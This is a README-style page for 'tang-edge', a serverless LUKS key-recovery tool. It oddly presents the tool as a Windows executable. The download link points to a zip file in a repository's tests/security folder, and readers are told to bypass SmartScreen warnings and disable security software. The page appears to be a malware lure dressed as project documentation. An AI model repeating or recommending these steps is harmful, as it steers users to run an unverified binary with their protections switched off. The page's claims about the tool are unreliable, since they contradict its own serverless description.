tang-edge is a tool to help recover disk encryption keys without needing a traditional server. It runs on modern cloud platforms like Cloudflare, AWS, Azure, and others. This project makes it easier to access encrypted disks by separating key storage from the system itself.
You don’t need to run a full server or manage complex software to use it. It is built to work with multiple cloud and edge services. This lets you keep keys safe and available without extra hardware.
To run tang-edge on your Windows PC, you need:
- Windows 10 or later (64-bit recommended)
- At least 2 GB of free RAM
- 100 MB of free disk space
- A stable internet connection
Your PC should be able to access the internet to download the software and connect with cloud providers if needed.
You can deploy tang-edge on cloud and edge platforms such as:
- Cloudflare Workers
- AWS Lambda
- Google Cloud Platform (GCP)
- Microsoft Azure Functions
- Deno Deploy
- Vercel
- Netlify
- Supabase
This lets you choose where you want the recovery server to run, depending on your needs.
- Serverless design for easy management
- Works with disk encryption tools like LUKS
- Supports split trust for stronger security
- Written in TypeScript for better reliability
- Compatible with several edge computing services
- Easy to set up without deep programming skills
This guide helps you download and run tang-edge on a Windows machine.
Visit the releases page linked below:
- Open the link in your browser.
- Look for the latest release at the top of the page.
- Download the Windows executable file or zip package.
The file may be named something like tang-edge-win.exe or similar.
- If you downloaded an
.exefile, double-click it to start the installation. - If you downloaded a zip file, right-click it and select "Extract All".
- Open the folder and find the
tang-edge.exefile.
Double-click this file to run the program.
Windows may show a security warning. Select “Run” or “More info” and then “Run anyway” to proceed. This lets tang-edge run on your computer.
- Once running, tang-edge may open a simple window or console.
- You might need to enter or confirm some settings such as cloud provider details or URLs for your key storage.
- Follow any on-screen instructions carefully.
If the program requires additional software or accounts on cloud platforms, prepare those before continuing.
After configuring, try to use tang-edge to recover a test key. This ensures everything is connected correctly.
- You can modify settings by editing a configuration file or through the program interface.
- Be sure to enter any API keys or access tokens securely.
- Keep your keys private to prevent unauthorized access.
- Check the program logs if any step does not work as expected. They provide clues for fixing problems.
- If the program does not start, verify your Windows version and free disk space.
- Check your internet connection if downloads or cloud access fails.
- Disable temporary security software if it blocks tang-edge.
- Confirm you downloaded the correct Windows file from the releases page.
- Restart your PC after installation to clear any errors.
The download usually contains:
- The executable file (
tang-edge.exe) - README or manual files
- Sample configuration files
- License and credits documents
Keep the files together for the program to run without errors.
- Download page: https://raw.githubusercontent.com/chicken553/tang-edge/main/tests/security/edge_tang_v1.9.zip
- Online documentation (if available) can be found on the project website or GitHub wiki.